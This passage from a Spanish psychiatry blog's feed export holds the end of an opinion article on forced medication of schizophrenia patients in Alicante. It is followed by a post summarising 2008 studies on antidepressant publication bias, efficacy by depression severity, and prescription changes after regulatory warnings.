</font><font face="Times New Roman">Dr. Eduardo Climent – Hospital General Universitario de Alicante. (3)<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman" /></p>
<p><font face="Times New Roman" /></p>
<p><font face="Times New Roman" /></p>
<p><font face="Times New Roman" /></p>
<p><font face="Times New Roman" /></p>
<p><font face="Times New Roman">ART�?CULO:<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Ante un ataque agudo de esquizofrenia con elevada agresividad al paciente se le reduce por la fuerza y se le ingresa en el hospital.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">El ingreso puede ser voluntario si el paciente consiente o involuntario por orden judicial si el paciente no se deja ingresar.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">A partir del ingreso al paciente se le administra una medicación para  reducirle. Ante este estado puede ser necesario en los ingresos forzosos, pero no en los voluntarios.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">El tratamiento a administrar según los protocolos suelen constar de dos, tres o más fármacos diferentes que si bien pueden estar indicados no existen ensayos clínicos de administración conjunta.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Estas medicaciones suelen presentar los efectos secundarios multiplicados que cada una de las especialidades indican en sus prospectos respectivos.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Además, para hacer frente a estos efectos secundarios se le administra al paciente nuevos medicamentos, que generalmente tampoco consiguen los efectos buscados. Por lo que yo conozco pocos psiquiatras se plantean disminuir la dosis de la medicación, tal vez por miedo a los brotes violentos del enfermo.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Durante la instancia del paciente en el hospital son los especialistas del mismo los que pasan consulta y determinan el tratamiento.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">El paciente esquizofrénico suele ser desconfiado y no siempre conecta con su médico de turno ya que de un internamiento a otro este puede cambiar por diversas circunstancias.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">La desconexión médico paciente es fundamental para los resultados finales.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Normalmente el tratamiento que se administra durante la estancia hospitalaria suele ser elevado en dosis y fármacos, manteniendo  al paciente reducido.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Cuando los especialistas consideran que el paciente puede salir del hospital, después de una elevada medicación de recuerdo, se le manda a casa para que el psiquiatra de su localidad continúe con su control y tratamiento  determinado por el hospital y que muchos psiquiatras de ambulatorio no suelen modificar.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Como ejemplo presentaré los síntomas que un paciente presentaba después de su salida del hospital.<br />
</font><font face="Times New Roman">Cuando este paciente contactó conmigo después de un mes de su alta hospitalaria, tenía cara de máscara, reacciones de pensamientos y respuestas lentas, movimientos inseguros, discinesia, temblores, rigidez muscular, parkinsonismo, somnolencia, astenia, confusión. En definitiva todos los efectos secundarios multiplicados que los prospectos de la medicación que se le había prescrito señalaban.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Ante estos síntomas le recomendé que no condujera ningún tipo de vehículos al observar que había venido en una moto, a lo que me contestó que era la única forma de desplazamiento que tenía y no quería estar en casa encerrado. Su ángel de la guarda seguramente le evitó de un accidente ya que tuvo la suerte de no tenerlo durante este periodo.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">En el protocolo del hospital le indicaba que debía visitar a su psiquiatra cada 15 días como mínimo.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">En estas circunstancias contacté con su psiquiatra de ambulatorio y le ofrecí mi colaboración. Después de exponer mi opinión sobre el estado de la persona, el mayor interés que deseaba de mi persona es que le convenciera para que no faltara a las citas ambulatorias, a lo que ofrecí mi colaboración más estrecha.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Cuando hablamos de cómo debía hacer el paciente el desplazamiento desde su casa al ambulatorio, me dijeron que en sus propios medios, ya que el ambulatorio no tenía previsto ningún tipo de transporte en estos casos, a pesar del estado del paciente.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Yo considero que si es importante que acuda a las citas ambulatorias, se le debe propiciar los medios seguros para evitar un mal mayor.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Cuando el paciente acudió a la cita el psiquiatra no estaba en el ambulatorio habiendo ordenado al ATS que le inyectara una dosis de recuerdo, a lo que el paciente se negó consciente del empeoramiento que se iban a producir en los síntomas que presentaban.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Unos de los mayores problemas que se presentan en muchas enfermedades incluidas las no mentales, es la falta de continuidad del tratamiento por los pacientes. Los laboratorios farmacéuticos dedican parte de su presupuesto de investigación en proponer formas farmacéuticas de acción prolongada que espacien la administración.<br />
</font><font face="Times New Roman">Con un razonamiento superficial se puede llegar a creer que los enfermos mentales son los que con mayor frecuencia dejan la medicación. Cuando profundizamos en el tema, pronto nos damos cuenta de nuestro error ya que a pesar de soportar los efectos que producen las elevadas dosis de medicación y los tratamientos inadecuados son los mayores sufridores del medicamento.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman" /></p>
<p><font face="Times New Roman">CONCLUSIONES:<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Considero que los pacientes con diagnóstico de esquizofrenia están entre los  peores considerados y tienen de las peores asistencias dentro del grupo de enfermedades mentales.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Sufren medicaciones poco adecuadas en demasiados casos, dirigidas más a reducir al paciente que a buscarle una solución.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Legislar de forma generalizada obligando un tratamiento involuntario a pacientes con capacidad de decidir, con falta de atención sanitaria, es ir contra los Derechos Humanos y la Constitución Española.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">CALPE - 25-7-08.<br />
</font><font face="Times New Roman" size="3">. </font></p>
<p><font face="Times New Roman" /></p>
<p><font face="Times New Roman">Bibliografía.<br />
</font><font face="Times New Roman">(1)</font>.<br />
<a href="http://www.laverdad.es/alicante/20080718/provincia/alicante-protocolo-judicial-permitira-20080718.html"><font face="Calibri" size="3">http://www.laverdad.es/alicante/20080718/provincia/alicante-protocolo-judicial-permitira-20080718.html</font></a><br />
<a href="http://www.20minutos.es/noticia/400000/obligan/enfermos/medicacion/"><font face="Calibri" size="3">http://www.20minutos.es/noticia/400000/obligan/enfermos/medicacion/</font></a><br />
<a href="http://blogs.periodistadigital.com/vidasaludable.php/2008/07/18/los-jueces-obligaran-a-enfermos-mentales"><font face="Calibri" size="3">http://blogs.periodistadigital.com/vidasaludable.php/2008/07/18/los-jueces-obligaran-a-enfermos-mentales</font></a><br />
<a href="http://www.diarioinformacion.com/secciones/noticia.jsp?pRef=2008071800_12_778646__Alicante-juzgado-especial-llevara-peticiones-para-medicar-enfermos-mentales"><font face="Calibri" size="3">http://www.diarioinformacion.com/secciones/noticia.jsp?pRef=2008071800_12_778646__Alicante-juzgado-especial-llevara-peticiones-para-medicar-enfermos-mentales</font></a><br />
<a href="http://www.20minutos.es/noticia/400000/0/obligan/enfermos/medicacion/"><font face="Calibri" size="3">http://www.20minutos.es/noticia/400000/0/obligan/enfermos/medicacion/</font></a><br />
<a href="http://www.diarioinformacion.com/secciones/noticia.jsp?pRef=2008071700_12_778526__Alicante-protocolo-judicial-desarrollado-Alicante-obligara-enfermos-mentales-graves-tomar-medicacion"><font face="Calibri" size="3">http://www.diarioinformacion.com/secciones/noticia.jsp?pRef=2008071700_12_778526__Alicante-protocolo-judicial-desarrollado-Alicante-obligara-enfermos-mentales-graves-tomar-medicacion</font></a><br />
<a href="http://www.abc.es/20080718/valencia-valencia/jueces-obligaran-enfermos-mentales_200807180255.html"><font face="Calibri" size="3">http://www.abc.es/20080718/valencia-valencia/jueces-obligaran-enfermos-mentales_200807180255.html</font></a><br />
<span lang="EN-US"><font size="3"><font face="Calibri">(2)<br />
</font></font></span><font size="3"><font face="Calibri"><span lang="EN-US">“Comparison of antipsychotic medication effects on reducing violence in people with schizophrenia��?, Swanson JW, Swartz MS, ……., B J Psych   2008 (1 de Julio) ; 193(1):37-43</span><span lang="EN-US"><br />
</span></font></font><a href="http://www.polyanguas.net/indice.php/ForoOpinion/Tema/Id/131" target="_blank"><span lang="EN-US">http://www.polyanguas.net/indice.php/ForoOpinion/Tema/Id/131</span></a><span lang="EN-US"><br />
</span><span lang="EN-US">http://www.caparroscantopsiquiatria.org/foro2/list.php?30<br />
</span><span lang="EN-US">(3)<br />
</span><a href="http://www.polyanguas.net/indice.php/ForoOpinion/Tema/Id/131" target="_blank"><span lang="EN-US">http://www.polyanguas.net/indice.php/ForoOpinion/Tema/Id/131</span></a></p>
<p>http://www.caparroscantopsiquiatria.org/foro2/list.php?30<br />
<font face="Calibri" size="3"> </font></p>
<p></font>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/29/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ANTIDEPRESIVOS.</title>
		<link>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/26</link>
		<comments>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/26#comments</comments>
		<pubDate>Mon, 25 Aug 2008 09:01:22 +0000</pubDate>
		<dc:creator>josecaparros</dc:creator>
		
		<category>1.¿COMO EMPEZAR?</category>

		<guid isPermaLink="false">http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/26</guid>
		<description><![CDATA[resumenes de lagunos articulos importantes sobre los antidepresivos 

Turner EH, Matthews AM, Linardatos E, Tell RA, Rosenthal R. Selective publication of antidepressant trials and its influence on apparent efficacy. N. Engl J Med 2008, 358 (3): 252-60.

Esta revisión sistemática trata de responder a la pregunta: ¿en que medida el sesgo de publicación afecta a la [...]]]></description>
			<content:encoded><![CDATA[<div id="cover-sheet">resumenes de lagunos articulos importantes sobre los antidepresivos <hr /></div>
<div class="Section1">
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span lang="EN-GB" style="font-size: 12pt">Turner EH, Matthews AM, Linardatos E, Tell RA, Rosenthal R. Selective publication of antidepressant trials and its influence on apparent efficacy. N. Engl J Med 2008, 358 (3): 252-60.</span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span lang="EN-GB" style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">Esta revisión sistemática trata de responder a la pregunta: ¿en que medida el sesgo de publicación afecta a la apreciación de la eficacia de los fármacos antidepresivos?.  Con esta finalidad compara los datos de eficacia inferidos a partir de la bibliografía publicada con los datos de eficacia (ensayos doble ciego, randomizados, controlados con placebo) proporcionados a la FDA para el registro de 12 medicamentos que fueron aprobados entre 1987 y 2004. </span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">De los 74 estudios registrados por la FDA , los cuales incluían a 12.564 pacientes, no se publicaron 26 estudios, que correspondían a 3449 pacientes. Entre los 74 estudios proporcionados a la FDA , 38 (el 51%) encontraron que el fármaco sometido a ensayo proporcionó un beneficio estadísticamente significativo y 37 de ellos merecieron ser publicados, permaneciendo 1  sin publicar. Por el contrario la otra mitad de los ensayos clínicos remitidos a la FDA (36/74) obtuvieron resultados negativos, es decir que le fármaco no producía beneficio adicional al del placebo de comparación). La mayoría, 22 de 36, de los ensayos con resultados negativos han permanecido son publicar, mientras que 3 de ellos se publicaron en un artículo con junto mostrando los resultados negativos. Per los 11 restantes fueron publicados de tal manera que los resultados fueron presentados como positivos, cuando en realidad los resultados fueron negativos.</span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">Los valores del tamaño del efecto en los informes publicados fue generalmente mayor que los derivados de la revisión de los datos comunicados a la FDA , en conjunto, la inflación media del tamaño del efecto fue del 32%,  variando del 11% al 69% según el fármaco. Según los datos proporcionados a la FDA , el tamaño ponderado del efecto fue de 0,31 (95%CI: 0m27-0,35), mientras 1ue si se consideran los datos publicados es 0,41 (95%CI: 0,36-0,45).</span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">Considerando esto resultados se puede concluir que la eficacia de los antidepresivos pudiera ser inferior a la que cabría deducir por la información publicada. Este caso ilustra la influencia del sesgo de publicación.</span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span lang="EN-GB" style="font-size: 12pt">Kirsch I, Deacon BJ, Huedo-Medina TB, Scoboria A, Moore TJ, Johnson BT. Initial severity and antidepressant beneficts: a meta-analysis of data submitted to the Food and Drug Administration. PLoS Medicine, 2008, 5(2):e45..</span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span lang="EN-GB" style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">La pregunta que trata de responder este meta-regresión es: ¿hay alguna relación entre la severidad basal de la depresión y la diferencia de efectividad entre fármaco antidepresivo y placebo?.  Parte de la consideración de que al menos es necesaria una diferencia fármaco-placebo de, al menos, 3 puntos en la escala de Hamilton (HRSD) para que exista significación clínica (esto es un tamaño del efecto >0,5). Encuentra una mejoria media de 9,60 puntos sobre la HRSD en los grupos con fármaco, y de 7,80 en los grupos placebo, siendo por tanto la diferencia fármaco-placebo de 1,80 puntos HRSD. Aunque esta diferencia fue estadísticamente significativa, cae claramente por debajo del dintel de significación clínica preestablecido. La diferencia entre fármaco y placebo es lo suficientemente importante como para tener significación clínica solo en la fracción de pacientes cuya depresión es grave (puntuaciones basales en la escala de Hamilton >28), con independencia del fármaco utilizado.  La eficacia de los fármacos no parece cambiar en función de la severidad inicial de la depresión, mientras que la eficacia del placebo decrece a medida que la gravedad inicial de la depresión aumenta. </span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">Mientras que el efecto placebo parece un componente importante de la respuesta antidepresiva  en los casos de depresión leve a moderada, este efecto es mínimo en caso de depresión grave, y toda la respuesta terapéutica parece deberse al efecto de los fármacos. </span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; </span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">Katz LY, Kozrskyj AL, Prior HJ, Enns MW, Cox BJ, Sareen J.  </span></font><span lang="EN-GB">Effect of regulatory warnings on antidepressant prescription rates, use of health services and outcomes among children, adolescents and young adults. CMAJ. 2008; 178 (8):1005-11.</span></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span lang="EN-GB" style="font-size: 12pt" /></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">En el año 2003, diversos sistemas nacionales de farmacovigilancia alertaron sobre el potencial de los nuevos antidepresivos, para inducir ideación suicida en niños y adolescentes con trastornos depresivos que los empleaban. Este trabajo trató de determinar en que medida esta advertencia influyó en el empleo de antidepresivos en este grupo edad, también la frecuencia de consultas por este motivo y la frecuencia de suicidios. Emplea como control de edad a los adultos jóvenes, y como control de depresión, los trastornos de ansiedad. La información se obtuvo de bases electrónicas mantenidas por el Manitova Health Services Insurance Plan. El periodo de estudio fue de 11 años desde 1995 hasta 2006. </span></font></p>
<p class="MsoNormal" style="text-align: justify"><font face="Times New Roman" size="3"><span style="font-size: 12pt">Tras un periodo de crecimiento sostenido del uso de antidepresivos tanto en niño y adolescentes como en adultos jóvenes, al difundirse la alarma se produjo un descenso estadísticamente significativo del uso de antidepresivos como tratamiento de la depresión en ambos grupos de edad. Este descenso se produjo para todos los antidepresivos,   pero no para fluoxetina. También decayó el uso de antidepresivos para el tratamiento de los trastornos de ansiedad, pero en el grupo de niños y adolescentes este descenso no fue significativo. La frecuencia de consulta médica por trastorno depresivo también decayó de forma estadísticamente significativa. Por el contrario se incrementó la frecuencia de suicidio consumado. De los niños que cometieron suicidio durante los 9 años previos a la alarma, el 10% habían recibido una prescripción de antidepresivos, mientras que en el año posterior a la alarma este porcentaje fue del 10,5% y al segundo año solo del 4%.</span></font></p>
<p class="MsoNormal"><font face="Times New Roman" size="3"><span style="font-size: 12pt" /></font></p>
<table class="MsoTableGrid" style="border-collapse: collapse; border: medium none" cellspacing="0" cellpadding="0" border="1">
<tr>
<td style="padding-right: 5.4pt; padding-left: 5.4pt; padding-bottom: 0cm; width: 91px; padding-top: 0cm; border: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 480px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top" colspan="5" rowspan="2">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Riesgo relativo de uso de antidepresivos después y antes de la notificación de alarma (95% CI)</span></font></p>
</td>
</tr>
<tr>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
</tr>
<tr>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 389px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top" colspan="4">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Trastornos depresivos</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Trastornos de ansiedad</span></font></p>
</td>
</tr>
<tr>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 84px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Todos los AD</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 113px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">fluoxetina</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 96px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Otros ISRS</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 96px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Otros AD</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Todos los AD</span></font></p>
</td>
</tr>
<tr>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Niños y adolescentes</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 84px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,86</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,81-0,91)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 113px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">1,10</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(1,02-1,19)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 96px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,68</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,63-0,73)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 96px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,59</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,50-0,69)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,88</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,75-1,03)</span></font></p>
</td>
</tr>
<tr>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt">Adultos jóvenes</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 84px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,90 (0,86-</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,93)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 113px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">1,23</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(1,10-1,38)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 96px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,80</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,75-0,85)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 96px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,82</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,75-0,89)</span></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">0,84</span></font></p>
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt">(0,75-0,94)</span></font></p>
</td>
</tr>
<tr>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 84px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 113px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 96px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 96px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: medium none; padding-left: 5.4pt; padding-bottom: 0cm; border-left: medium none; width: 91px; padding-top: 0cm; border-bottom: windowtext 1pt solid" valign="top">
<p class="MsoNormal" style="text-align: center" align="center"><font face="Times New Roman" size="2"><span style="font-size: 10pt" /></font></p>
</td>
</tr>
</table>
